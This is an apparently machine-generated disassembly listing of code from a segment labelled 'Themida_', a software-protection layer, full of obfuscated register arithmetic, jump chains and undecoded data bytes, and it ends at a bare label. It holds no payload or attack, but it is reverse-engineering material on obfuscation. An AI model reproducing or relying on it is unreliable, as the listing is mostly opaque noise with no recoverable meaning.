loc_55C1D4: ; CODE XREF: Themida_:0055DAEBj
pop esp
pop edi
jmp loc_55D09F
; ---------------------------------------------------------------------------
db 0BBh
dd 451A15C6h, 355BD889h, 55206997h, 9F109E0Dh, 0AE1DE92Eh
dd 483FFFFh, 575B0424h, 4BFh, 0C2EB8100h, 816C4066h, 0D7452DEBh
dd 883FE95Eh, 0FF57FFFFh, 5F042474h, 0E924048Fh, 0FFFFB93Fh
dd 511507B9h, 5AD1015Bh, 0D101E983h, 0D1F181E9h, 81738132h
dd 2E8B74F1h, 59CF014Dh, 2C781h, 0FF570000h, 8B042474h
dd 1DE9243Ch
db 89h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C24B: ; CODE XREF: Themida_:00555FB6j
xor esi, 5CD52324h
or edx, esi
pop esi
sub edx, 0FFFFFFFFh
add edx, 1253A15Eh
sub ebx, edx
pop edx
add ebx, 3A237C0Ah
sub ebx, 500362C6h
add ebx, eax
add ebx, 500362C6h
push 7692h
mov [esp], esi
push 3A237C0Ah
pop esi
sub ebx, esi
mov esi, [esp]
add esp, 4
jmp loc_55A18E
; ---------------------------------------------------------------------------
dw 0EA81h
dd 67853B53h, 0FFE302E9h, 48F5AFFh, 89665C24h, 23E92404h
dd 1FFFF86h, 0FF565FFEh, 5E042474h, 0FFB156E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C2B9: ; CODE XREF: Themida_:00555312j
pop eax
and eax, ebx
mov ebx, [esp]
jmp loc_55C0EB
; ---------------------------------------------------------------------------
loc_55C2C4: ; CODE XREF: Themida_:005579F5j
add edi, 23B8303Bh
xor edi, 36EC2397h
jmp loc_55FEEA
; ---------------------------------------------------------------------------
db 1, 0DEh, 5Bh
dd 0B850D601h, 163642B1h, 69E9C629h, 83000049h, 1C8904ECh
dd 4BB24h, 9AE90000h, 89FFFF86h, 22E92414h, 0D1FFFFC9h
dd 0CA8142E2h, 17413515h, 6C32EA81h, 0DAF72E3Dh, 5CA5C281h
dd 0D609CFB7h, 0FFDC20E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C31D: ; CODE XREF: Themida_:0055832Fj
sub ebx, 15245195h
add ebx, 0D391C5Eh
add ebx, ecx
jmp loc_55AB2A
; ---------------------------------------------------------------------------
dd 0F625F280h, 15C280D2h, 88D78853h, 5A5BF9h, 0D1F65AF1h
dd 893CE953h, 3431FFFFh, 0BE80E924h, 1635FFFFh, 5126DC0Dh
dd 0C92499B9h, 0EF1811Bh, 4163DE1Fh, 0C181D9F7h, 4C564A80h
dd 2959C831h, 762D58C1h, 2958C711h, 0FC0AE9C8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C37E: ; CODE XREF: Themida_:00556222j
add esp, 4
or ecx, 563D60E7h
shl ecx, 1
inc ecx
and ecx, 371F7148h
jmp loc_560242
; ---------------------------------------------------------------------------
db 88h, 0D0h, 88h
dd 0D05A58C7h, 0FED7F6EFh, 0E38953C7h, 4C381h, 0EB830000h
dd 241C8702h, 0B833E95Ch, 0C15EFFFFh, 0E98108E9h, 2C2C7612h
dd 57DBBE56h, 0DEF7147Eh, 75DBC681h, 0F1095DA9h, 0FFF928E9h
dd 8B6664FFh, 0EC835702h, 24248904h, 4240483h, 8F78E95Fh
dd 0EA81FFFFh, 4, 0FFCAF7E9h, 0AC0405FFh, 0C101DFCBh, 4E98158h
dd 87000000h, 248B240Ch, 24248924h, 0FFB16CE9h, 81E389FFh
dd 4C3h, 0D0CFE900h, 5450FFFFh, 4BE5658h, 1000000h, 7E95EF0h
dd 66FFFFD3h, 5024048Bh, 5653E089h, 0A62ADBBEh, 0F7D6F74Eh
dd 10C681DEh, 81BBEB2Fh, 7F2803C6h, 81C68104h, 0C1437DC7h
dd 0E0E908E6h, 66FFFFC5h, 0E829665Dh, 242C8B66h, 327668h
dd 240C8900h, 0FF94C3E9h, 4EDC1FFh, 604CED81h, 0EB89AE4Ah
dd 30DD2D5Dh, 0CB2D006Dh, 1312A67h, 67CB05D8h, 0F1E9312Ah
dd 0FFFFFFD0h, 8434E930h, 34FFFFFFh
db 24h, 5Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_556AAD
; ---------------------------------------------------------------------------
dw 0E3C0h
dd 82EB8004h, 4D9F380h, 865AE992h, 8952FFFFh, 3725E9E2h
dd 15A0000h, 0D4C581DDh, 5B426B5Eh, 0FFF3F5E9h, 2EC81FFh
dd 66000000h, 66242489h, 2BE6656h, 0E9516600h, 0FFFFEAE2h
; ---------------------------------------------------------------------------
loc_55C4E4: ; CODE XREF: Themida_:005550ADj
push eax
mov eax, esp
add eax, 4
push ecx
jmp loc_559774
; ---------------------------------------------------------------------------
dw 489h
dd 0C3E1E924h, 34FFFFFFh, 86685824h, 89000014h, 0E189240Ch
dd 0FFEA95E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C50D: ; CODE XREF: Themida_:0055B3F9j
mov [esp], ebx
push ebx
mov ebx, 3D745F78h
add [esp+4], ebx
pop ebx
pop ebp
sub ebp, 3D745F78h
jmp loc_55DF6C
; ---------------------------------------------------------------------------
db 81h
dd 4C3h, 241C8700h, 0E924248Bh, 0FFFFD68Ch, 89243C89h
dd 8B668E7h, 2C890000h, 546C6824h, 14890000h, 7F85BA24h
dd 7FBD7B1Fh, 184E080h, 24148BD5h, 81E38953h, 4C3h, 0F7D1E900h
dd 8B5BFFFFh, 0C4812404h, 4, 8BE8305Bh, 0C481240Ch, 4
dd 1BB3E9h, 0E9E18900h, 2EA3h, 46E68146h, 813E8670h, 0FFFFFFEEh
dd 0C3C681FFh, 1C17DCFh, 22DE9F2h, 0BF570000h, 7A051958h
dd 0FF95C8E9h, 40558FFh, 0E9000000h, 27D3h
; ---------------------------------------------------------------------------
loc_55C5BC: ; CODE XREF: Themida_:00558455j
; Themida_:0055EB5Fj
push esi
sub esp, 4
mov [esp], ebx
jmp loc_558CCC
; ---------------------------------------------------------------------------
db 21h
dd 240C8BCAh, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 4BA7B850h
dd 0F1E965FCh, 29000035h, 696F68D8h, 34890000h, 27DBBE24h
dd 0E94E3CC4h, 3176h, 242667BBh, 0DB34E904h, 0C181FFFFh
dd 4, 4C181h, 0FF510000h, 59042474h, 0E924048Fh, 3E4Ch
dd 0C681C601h, 0AA221Bh, 5C3EE81h, 48B1BADh, 0E7895724h
dd 4C781h, 0C7810000h, 4, 0E9243C87h, 824h, 81241C8Bh
dd 4C4h, 2434FF00h, 0E9240C8Bh, 38D9h, 0E932FF66h, 0FFFF8266h
dd 0C188D088h, 3BD6858h, 14890000h, 88CE8824h, 24148BF7h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
jmp loc_560714
; ---------------------------------------------------------------------------
dd 0BD242C89h, 4, 2C8BEE01h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg esi, [esp]
pop esp
sub edx, 1749703Fh
add edx, 41590B03h
add edx, eax
push eax
mov eax, 425B1AD9h
shl eax, 2
add eax, 37EC9F9Fh
sub edx, eax
jmp loc_55954F
; ---------------------------------------------------------------------------
loc_55C6D7: ; CODE XREF: Themida_:0055B794j
mov eax, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_55DEED
; ---------------------------------------------------------------------------
db 1, 0DEh, 5Bh
dd 4C681h, 34330000h, 24343124h, 5C243433h, 0FF2434FFh
db 34h, 24h, 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 41C0h
jmp loc_560C38
; ---------------------------------------------------------------------------
dd 16AA68h, 0A196E900h, 5C68FFFFh, 89000062h, 7FE9240Ch
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C72B: ; CODE XREF: Themida_:005571A3j
pop esp
shr eax, 2
sub eax, 7B77EEDh
sub esp, 4
mov [esp], ecx
push ebx
mov ebx, 17B36D54h
push esi
mov esi, 4CAE107Bh
sub esi, 1D61A963h
jmp loc_55D094
; ---------------------------------------------------------------------------
db 5Ch, 0FFh, 34h
dd 240C8B24h, 5704C483h, 0C7815F54h, 4, 0FFBD88E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C769: ; CODE XREF: Themida_:0055B850j
push edi
mov edi, 32F71D04h
sub edi, 4B4D6EA9h
sub edi, 44C301DDh
push ebx
jmp loc_5579FA
; ---------------------------------------------------------------------------
db 51h, 0B9h, 36h
dd 89298D18h, 0F53159CEh, 7CBA525Eh, 0E918C355h, 0FFFFB0E3h
dd 89EA8952h, 0F8895AD7h, 0C1015D5Fh, 240C3358h, 33240C31h
dd 248B240Ch, 14EEE924h, 0CDFE0000h, 105DE9h, 4BD5500h
dd 0E9000000h, 0FFFFACACh, 5258C328h, 41E95166h, 8BFFFFDBh
dd 0C4832434h, 2C28304h, 0FF900BE9h, 8BF529FFh, 1DE92434h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C7EB: ; CODE XREF: Themida_:0055D0E8j
pop edx
mov bl, ch
jmp loc_55F4B8
; ---------------------------------------------------------------------------
loc_55C7F3: ; CODE XREF: Themida_:00558804j
push ecx
jmp loc_55C135
; ---------------------------------------------------------------------------
db 49h, 81h, 0C1h
dd 1D3DBD78h, 2D59C821h, 4D02A12h, 3DBE5655h, 896EC940h
dd 0E8215EF5h, 0FF860FE9h, 242489FFh, 4240483h, 8324048Fh
dd 5A042404h, 4C281h, 0C2810000h, 4, 31241433h, 0B6E92414h
dd 54000020h, 0FF2434FFh, 835A2434h, 895104C4h, 4C181E1h
dd 57000000h, 0E76541BFh, 0AEF78157h, 68506E3Ch, 0
dd 5F243C29h, 22E8E781h, 0F7817BC4h, 0F7C1C5Dh, 0A8C7814Fh
dd 188C7C1h, 139FE9F9h, 0FE5C0000h, 0E99C2404h, 0FFFF8042h
dd 20BEC180h, 0E0C059C8h, 28BD3403h, 24048BC3h, 0C5B7E955h
dd 2504FFFFh, 252CE800h, 1C8B5966h, 0E3895324h, 4C381h
dd 0C3810000h, 4, 0E9241C87h, 3EB8h
; ---------------------------------------------------------------------------
loc_55C8C4: ; CODE XREF: Themida_:0055C08Dj
xchg ebp, [esp]
pop esp
sub ebp, 27442AD7h
add ebp, eax
add ebp, 27442AD7h
pop eax
add ebp, 2
xor ebp, [esp]
jmp loc_5577B2
; ---------------------------------------------------------------------------
db 1, 0C2h, 68h
dd 6BF4h, 0FFE34DE9h, 59CD01FFh, 0E3C6850h, 3C890000h
dd 74EFBF24h, 68555A66h, 5A0126A6h, 0B2ED815Dh, 0E95FDE55h
dd 0FFFFBDA6h, 15BD831h, 24048BC7h, 4C481h, 3C870000h
dd 34E95C24h
db 35h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C92B: ; CODE XREF: Themida_:00557C7Bj
mov esp, [esp]
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], edx
push eax
pushf
jmp loc_5548CE
; ---------------------------------------------------------------------------
dd 8B240C87h, 7FE92424h, 81FFFF7Fh, 372445F7h, 0E9F80125h
dd 1130h, 0E92434FFh, 0FFFF8FDEh, 3C8BFD01h, 0E1895124h
dd 4C181h, 0C1830000h, 0D9CCE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C97A: ; CODE XREF: Themida_:00556451j
mov ebp, [esp]
add esp, 4
jmp loc_560076
; ---------------------------------------------------------------------------
dd 4AB0F66h, 3BE99C24h
db 7Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C993: ; CODE XREF: Themida_:0055496Cj
xor esi, [esp]
mov esp, [esp]
jmp loc_5548CE
; ---------------------------------------------------------------------------
dw 4BBh
dd 1000000h, 0A515E9DDh, 3487FFFFh, 24248B24h, 2424D366h
dd 7F14E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C9BA: ; CODE XREF: Themida_:0055E173j
push 2754h
mov [esp], ebx
push 34317697h
mov ebx, [esp]
add esp, 4
xor ebx, 34317497h
jmp loc_555D0F
; ---------------------------------------------------------------------------
dd 0F34FAC05h, 2DF0010Fh, 0FF34FACh, 241C8B5Eh, 3697E9h
db 0
; ---------------------------------------------------------------------------
loc_55C9ED: ; CODE XREF: Themida_:005598ACj
pop eax
jmp loc_55DD59
; ---------------------------------------------------------------------------
db 0BDh
dd 4, 4246C01h, 0FFCE0DE9h, 7C6859FFh, 89000036h, 2C81242Ch
dd 0FD1AE524h, 0C181595Eh, 5EFD1AE5h, 0FFC9B2E9h, 0E9132CFFh
dd 0FFFFB28Ch, 0B9240C89h, 73E1232Eh, 9FBD5549h, 3111B51Ch
dd 0C8015DE9h, 83240C8Bh, 0D02904C4h, 0FFC5D7E9h, 4BEFFh
dd 0F0010000h, 4070E9h
db 0
; ---------------------------------------------------------------------------
loc_55CA51: ; CODE XREF: Themida_:00555BFBj
push esi
mov esi, 1F6B3DF6h
neg esi
and esi, 71C72D16h
jmp loc_55CA80
; ---------------------------------------------------------------------------
dd 0E18021B1h, 0BB9BE9C2h, 0D001FFFFh, 2DD8295Ah, 10252651h
dd 0E9241C8Bh, 0FFFF9AEBh
; ---------------------------------------------------------------------------
loc_55CA80: ; CODE XREF: Themida_:0055CA5Fj
sub esi, 52E7D1C3h
xor edi, esi
pop esi
push 334Ah
mov [esp], esi
push 360533EAh
pop esi
push edx
mov edx, 174E1CFBh
inc edx
shl edx, 5
neg edx
push edi
mov edi, 1F733CCDh
sub edx, edi
mov edi, [esp]
add esp, 4
not edx
sub edx, 5B0297BAh
sub esi, edx
pop edx
sub edi, 1B471464h
add edi, esi
add edi, 1B471464h
mov esi, [esp]
add esp, 4
and ecx, edi
mov edi, [esp]
add esp, 4
shr ecx, 7
jmp loc_557F01
; ---------------------------------------------------------------------------
loc_55CAE6: ; CODE XREF: Themida_:00555F63j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
mov edx, 728F3623h
shl edx, 8
xor edx, 8F362304h
push edi
mov edi, edx
jmp loc_556351
; ---------------------------------------------------------------------------
db 51h
dd 0FFDFDEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CB15: ; CODE XREF: Themida_:00556672j
push 9739F9E6h
jmp loc_55E25D
; ---------------------------------------------------------------------------
db 0C1h
dd 0F58104EDh, 0C6F4D23h, 7DC8CD81h, 814546FFh, 0A65540EDh
dd 49C58111h, 1C2A6D7h, 0C6835DEEh, 24348704h, 37EE95Ch
dd 0C1810000h, 0EB5D2D11h, 0E6E9CB01h, 0FF00000Fh, 68582434h
dd 6459h, 0FFC9CBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CB65: ; CODE XREF: Themida_:0055DD5Bj
mov edx, 6B9E0740h
xor edx, 1DEA5463h
jmp loc_5564F9
; ---------------------------------------------------------------------------
db 55h, 0BDh, 0E7h
dd 290017AEh, 0CF015DE9h, 2C78359h, 8904EC83h, 74FF243Ch
dd 3C8B0424h, 0E3895324h, 4C381h, 0BE560000h, 1532732h
dd 0EE81EED1h, 356C3854h, 0D6F7DEF7h, 0A4C0C681h, 0F30134C2h
dd 0FF8C82E9h, 50525EFFh, 0F61D1B8h, 0C6AABA23h, 0C2296560h
dd 0FFAC1FE9h, 0BEFFh, 0FE290000h, 815EF789h, 4B7036C7h
dd 5FF801CAh, 7D76C381h, 25E94DF5h, 83FFFF9Dh, 48704C0h
dd 0F5815C24h, 2E9109FFh, 8FE9EE89h
db 9Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CBFF: ; CODE XREF: Themida_:005568EFj
sub esi, 49E65B49h
sub ecx, esi
pop esi
push 3E2h
mov [esp], ebp
mov ebp, 42C07AFDh
and ebp, 552D045Fh
neg ebp
jmp loc_555C32
; ---------------------------------------------------------------------------
dw 8F5Ah
dd 248B2404h, 9CC83B24h, 0FF7C9DE9h, 0C0B60FFFh, 0E98734FFh
dd 0FFFF7C92h, 0BA241489h, 729A3A9Bh, 9A3A9FBEh, 5AD63172h
dd 4247401h, 2434FF5Eh, 5124148Bh, 2BA2E9h
db 0
; ---------------------------------------------------------------------------
loc_55CC5D: ; CODE XREF: Themida_:0055B975j
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55D5AE
; ---------------------------------------------------------------------------
dd 48E95358h
db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CC7F: ; CODE XREF: Themida_:005589F6j
pop ebp
sub esp, 4
mov [esp], edi
mov edi, 4
add ebp, edi
push dword ptr [esp]
pop edi
jmp loc_558622
; ---------------------------------------------------------------------------
dw 0BAh
dd 1000000h, 8B0A8BDAh, 0C4812414h, 4, 0A89CE95Bh, 515DFFFFh
dd 4B9h, 59CD0100h, 0E904C583h, 2EC5h, 4A0BE181h, 0E9816686h
dd 5AB26219h, 0E9D1F741h, 215Dh
; ---------------------------------------------------------------------------
loc_55CCD4: ; CODE XREF: Themida_:00558A36j
pop esi
add esi, 4
push ebx
jmp loc_55FCA7
; ---------------------------------------------------------------------------
db 51h, 52h, 88h
dd 5AD188E2h, 8B59CF88h, 0C4812404h, 4, 5B66FD30h, 0C8BE830h
dd 29E95324h, 5AFFFFC1h, 0E952FB01h, 0FFFFFF8Ah
; ---------------------------------------------------------------------------
loc_55CD0C: ; CODE XREF: Themida_:0055ACDDj
xor ecx, 730B2DB1h
add ecx, 9014BD86h
jmp loc_55E9A9
; ---------------------------------------------------------------------------
db 66h, 1, 5Ch
dd 5B660424h, 24348B66h, 0E902C483h, 0FFFF7B9Eh, 13D2E781h
dd 0C7811C8Bh, 0FFFFFFFFh, 34B3E9h, 18E95800h, 0E9FFFFDCh
dd 0FFFF7B82h, 0F381FB87h, 3B5E20h, 1AD7BA52h, 0D3314BA7h
dd 0E4C3815Ah, 0F76B5008h, 0FCB951D3h, 0F72C8C5Ah, 0E4E181D9h
dd 0F707D47Ah, 3A62E9D9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CD7A: ; CODE XREF: Themida_:0055E679j
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_558ECD
; ---------------------------------------------------------------------------
db 0C0h, 0ECh, 7
dd 8005F480h, 0B6E96AF4h, 1FFFF99h, 55E95EF1h, 89FFFFCBh
dd 97E92404h, 33000027h, 3C31243Ch, 243C3324h, 48B665Ch
dd 0ABE95124h, 55FFFFD2h, 645FB2BDh, 8BEB316Eh, 29E9242Ch
dd 0E9000017h, 0FFFF7AFEh, 27866855h, 0E95D1C37h, 0FFFFEA8Dh
dd 0BBB95153h, 0BB389148h, 3D0C7FFAh, 165BE381h, 29E9721Ah
db 9, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CDF3: ; CODE XREF: Themida_:00554CF4j
pop esp
push ecx
jmp loc_555C10
; ---------------------------------------------------------------------------
dw 77FFh
dd 59669D1Ch, 2414D366h, 7AC4E99Ch, 5068FFFFh, 89000019h
dd 6FE9242Ch, 50FFFF7Dh, 660E9h, 0BE565700h, 1F9548BEh
dd 3D1AC681h, 6E9021Dh, 0BBFFFFA1h, 2EC1347Ah, 2D32E950h
dd 8B660000h, 27E9240Ch
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CE43: ; CODE XREF: Themida_:0055E08Dj
add esp, 4
shl esi, 7
shr esi, 2
shr esi, 5
jmp loc_554F21
; ---------------------------------------------------------------------------
db 0F7h
dd 7EC781D7h, 0C10F372Ch, 0F78105EFh, 3F44F718h, 0E95FFA01h
dd 0FFFFFA75h, 316AE95Ch, 0C4680000h, 0E9000014h, 0FFFF7E95h
dd 60AB68h, 242C8900h, 0C581E589h, 4, 0E904C583h, 0FFFFA1F6h
dd 0B5516658h, 0B450517Bh, 58E588C1h, 59EA28h, 2432E9EAh
dd 0E9570000h, 698h, 240C8B66h, 4EC81h, 2C890000h, 0E95D5424h
dd 0FFFFF19Eh, 0FF7A01E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CECD: ; CODE XREF: Themida_:00555626j
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5548CE
; ---------------------------------------------------------------------------
dd 4BAh, 2BE98100h, 1586F49h, 0EE2FE9D1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CEF2: ; CODE XREF: Themida_:0055E881j
add esp, 4
push eax
jmp loc_55FAF6
; ---------------------------------------------------------------------------
dw 0CD89h
dd 8B5DEA89h, 0CB68240Ch, 89000061h, 0E954242Ch, 3565h
; ---------------------------------------------------------------------------
loc_55CF14: ; CODE XREF: Themida_:0055D417j
sub ah, 27h
sub bl, 0B9h
sub bl, 2Bh
jmp loc_55B951
; ---------------------------------------------------------------------------
dw 2568h
dd 89000003h, 0EC812434h, 4, 24048F54h, 4240481h, 5E000000h
dd 4C681h, 52550000h, 644DF5BAh, 0B20FBD1Dh, 0D501E29Bh
dd 0E924148Bh, 0FFFFA5B9h, 0C006EAC0h, 0EA8003EAh, 7BB25272h
dd 0F68DC280h, 5C9E9DAh, 0C4830000h, 4C48104h, 68000000h
dd 2CBEh, 0E9240489h, 0FFFFEB57h, 0D31ED81h, 0E889C8BAh
dd 9166E95Dh, 5753FFFFh, 2BFh, 0E9FB8900h, 0FFFF7FD2h
; ---------------------------------------------------------------------------
loc_55CFA0: ; CODE XREF: Themida_:00557FD7j
mov [esp], esi
push 4A63h
mov [esp], edi
add dword ptr [esp], 60070082h
mov esi, [esp]
add esp, 4
jmp loc_5558F0
; ---------------------------------------------------------------------------
db 2Ch, 0D6h, 51h
dd 0C6E97FB1h, 5F000028h, 7094BD55h, 0E5C12C69h, 1EBF5702h
dd 21205104h, 0D5F75FFDh, 0B1E8C581h, 0EF29780Ah, 0B481E95Dh
dd 2FB8FFFFh, 0E9255442h, 178Fh, 33241C31h, 0E95C241Ch
dd 0FFFFCE8Bh, 70E95957h, 5AFFFF7Ch, 31240433h, 4332404h
dd 24248B24h, 6824048Bh, 726Eh, 2FA1E9h, 70EE8100h, 0E911025Ch
dd 0FFFFA04Eh
; ---------------------------------------------------------------------------
loc_55D02C: ; CODE XREF: Themida_:00560539j
mov ecx, 4
add ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
loc_55D038: ; CODE XREF: Themida_:0055698Aj
push edi
mov edi, ebx
jmp loc_55D593
; ---------------------------------------------------------------------------
aFqY db 'fQµY',0
db 0E8h, 66h, 59h
dd 0FFC259E9h, 2BFFFh, 0E9810000h, 1AE80F7Dh, 5AE9F901h
dd 0BBFFFFEAh, 4, 875BDD29h, 895C242Ch, 0B0BE2434h, 815C556Eh
dd 86135FEEh, 0B1C2D01h, 0BA5250FEh, 32381283h, 0E95AD029h
dd 0FFFF82FAh, 0E955E789h, 0FFFFCE8Ch
; ---------------------------------------------------------------------------
loc_55D094: ; CODE XREF: Themida_:0055C74Cj
xor ebx, esi
pop esi
shl ebx, 3
jmp loc_55A79B
; ---------------------------------------------------------------------------
loc_55D09F: ; CODE XREF: Themida_:0055C1D6j
push 6B31h
mov [esp], ebp
push 0E3Dh
mov [esp], ecx
push edi
push 663E51C9h
mov edi, [esp]
add esp, 4
add edi, 0D5A5277Ch
mov ecx, edi
push dword ptr [esp]
jmp loc_55730B
; ---------------------------------------------------------------------------
loc_55D0CE: ; CODE XREF: Themida_:0055F1E8j
mov bl, 37h
or ch, bl
pop bx
shl ch, 8
push edx
mov dl, 33h
shl dl, 7
neg dl
neg dl
dec dl
add dl, 7Bh
add ch, dl
jmp loc_55C7EB
; ---------------------------------------------------------------------------
db 53h, 0BBh, 7Fh
dd 21323414h, 96E95BDAh, 68FFFFDFh, 3348h, 0FFF1F2E9h
dd 0C8B66FFh, 2BE95624h, 81FFFFE4h, 5859F8F7h, 2FCF8130h
dd 0E971E00Eh, 0FFFFDD88h, 5066CB00h, 0E300E4B4h, 50595866h
dd 0ECC02BB4h, 0C0D4F605h, 0C4FE05E4h, 0FF8DE8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D13D: ; CODE XREF: Themida_:0055E44Aj
pop esp
jmp loc_554BBF
; ---------------------------------------------------------------------------
db 52h
dd 0A26A568h, 0A1E4E96Dh, 0F752FFFFh, 0F75A2414h, 0C3C281D2h
dd 1A521D5h, 0E0C15AD0h, 407C0505h, 0F8E9531Dh
db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D16B: ; CODE XREF: Themida_:0055F7CBj
push 641Eh
jmp loc_555049
; ---------------------------------------------------------------------------
db 1, 0D3h, 51h
dd 0FFD9FFE9h, 308C2DFFh, 1C8B73E3h, 0B5F0E924h, 0BD55FFFFh
dd 4F8C52C0h, 0C221FA05h, 0CAE95577h
db 0Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D19B: ; CODE XREF: Themida_:0055BF10j
push ebx
mov ebx, 7A235E1Ch
add eax, ebx
pop ebx
mov edi, [esp]
add esp, 4
xchg eax, [esp]
pop esp
mov [esp], edi
dec dword ptr [esp]
pop edi
sub edi, 500B65C0h
and eax, edi
mov edi, [esp]
add esp, 4
shr eax, 18h
xor eax, ecx
push 587Dh
mov [esp], eax
xor [esp], esi
xor esi, [esp]
xor [esp], esi
xchg eax, esi
not eax
jmp loc_55D522
; ---------------------------------------------------------------------------
dd 9C241CF6h, 0FF76E1E9h, 2CBD55FFh, 81420B71h, 0C9299CF5h
dd 0D3E58117h, 81148145h, 80408CEDh, 0BED4E914h, 0C483FFFFh
dd 8BC70104h, 0C4812404h, 4, 8704C783h, 0BDE9243Ch, 81FFFFCEh
dd 0EC78B4F5h, 8BEA01FFh, 0C483242Ch, 74FF5204h, 8F5A0424h
dd 0BBE92404h
db 90h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D23F: ; CODE XREF: Themida_:005586ADj
inc edx
sub edx, 0AE9F379Ah
xor edx, esi
pop esi
and ecx, edx
mov edx, [esp]
add esp, 4
shr ecx, 0
or eax, eax
jz loc_560B20
push ebp
push esp
pop ebp
push ecx
jmp loc_5595D9
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 628268h, 24248900h, 4240483h, 4CBE9h, 0C3E95400h, 0BB000006h
dd 0CE13EF0Eh, 0E95BD929h, 75Ch, 57242C8Bh, 19E9E789h
dd 81FFFFDCh, 4C4h, 5BEE8100h, 687BE32Eh, 1DC9h, 5D243489h
dd 4EC815Eh, 0E9000000h, 0FFFF8C5Fh, 77E9D889h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D2BF: ; CODE XREF: Themida_:00557758j
sub ebx, 0BAA4171h
xor eax, ebx
jmp loc_556F5A
; ---------------------------------------------------------------------------
dd 0FF241489h, 0E9042474h, 181Bh
; ---------------------------------------------------------------------------
loc_55D2D8: ; CODE XREF: Themida_:0055F830j
add ebx, eax
add ebx, 705154B3h
push ebp
jmp loc_55A825
; ---------------------------------------------------------------------------
dw 17B5h
dd offset dword_59EB00
dd 17EB80EBh, 129FE9h, 73C06800h, 3C890000h, 24048B24h
dd 4C481h, 34FF0000h, 92E95F24h
db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D30F: ; CODE XREF: Themida_:0055ABB5j
mov esi, 68C57E5Ch
push 997F8BD0h
pop ebp
jmp loc_55B97A
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812404h, 4, 4EC81h, 43E90000h, 5D000016h, 0D8BB535Fh
dd 0E9618E79h, 0FFFFE3E2h, 8107EDC1h, 545C69CDh, 0DFED8171h
dd 8177B07Eh, 6BCB7CF5h, 5DEB21C9h, 456AEB81h, 0F3812A24h
dd 9C4FCED9h, 2651BA52h, 0FFE91025h, 5CFFFFF6h, 0FFB1DDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D375: ; CODE XREF: Themida_:00558D9Cj
shr edx, 1
dec edx
shr edx, 7
not edx
not edx
jmp loc_555449
; ---------------------------------------------------------------------------
dd 0EDC1D5F7h, 0FCF58108h, 8100BDAFh, 10147CC1h, 0E9E9016Fh
dd 0FFFFD7FAh, 8124048Bh, 4C4h, 0FF545600h, 348B2434h
dd 4C48324h, 6804C483h, 1CDBh, 0E9241C89h, 0FFFF9330h
dd 4BA3E981h, 0CE892781h, 8EEC159h, 7E2368h, 24348900h
dd 8B2414F7h, 8E682434h, 8900003Dh, 5B54241Ch, 19AEE9h
dd 5AD18800h, 37E9CB00h, 8100000Bh, 4C6h, 0A7E95000h, 50FFFFF1h
dd 42474FFh, 24048F58h, 0C89665Ch, 8323E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D412: ; CODE XREF: Themida_:0055995Cj
mov ah, 45h
add ah, 0FFh
jmp loc_55CF14
; ---------------------------------------------------------------------------
dd 52240489h, 4BAh, 5AD08900h, 60DE9h, 2434FF00h, 582434FFh
dd 4C481h, 9E90000h, 66000013h, 50240C89h, 0EC80F6B4h
dd 76DAE92Eh, 285CFFFFh, 557F68D8h, 0C890000h, 0E9515024h
dd 0FFFF8E41h, 5155515Bh, 0FFA4C7E9h, 4C481FFh, 30000000h
dd 1C32241Ch, 241C3024h, 0FF7451E9h, 7684B8FFh, 5481E3Dh
dd 272ED32Bh, 0FF7485E9h, 5FF801FFh, 42Dh, 24043300h, 33240431h
dd 895C2404h, 0DEBE2434h, 0E97D1373h, 0FFFFF52Ch, 5C29B951h
dd 0E1812684h, 5E215F07h, 0FFFFE981h, 0F181FFFFh, 37DE58BAh
dd 0EE2E9h
db 0
; ---------------------------------------------------------------------------
loc_55D4C9: ; CODE XREF: Themida_:00557FAFj
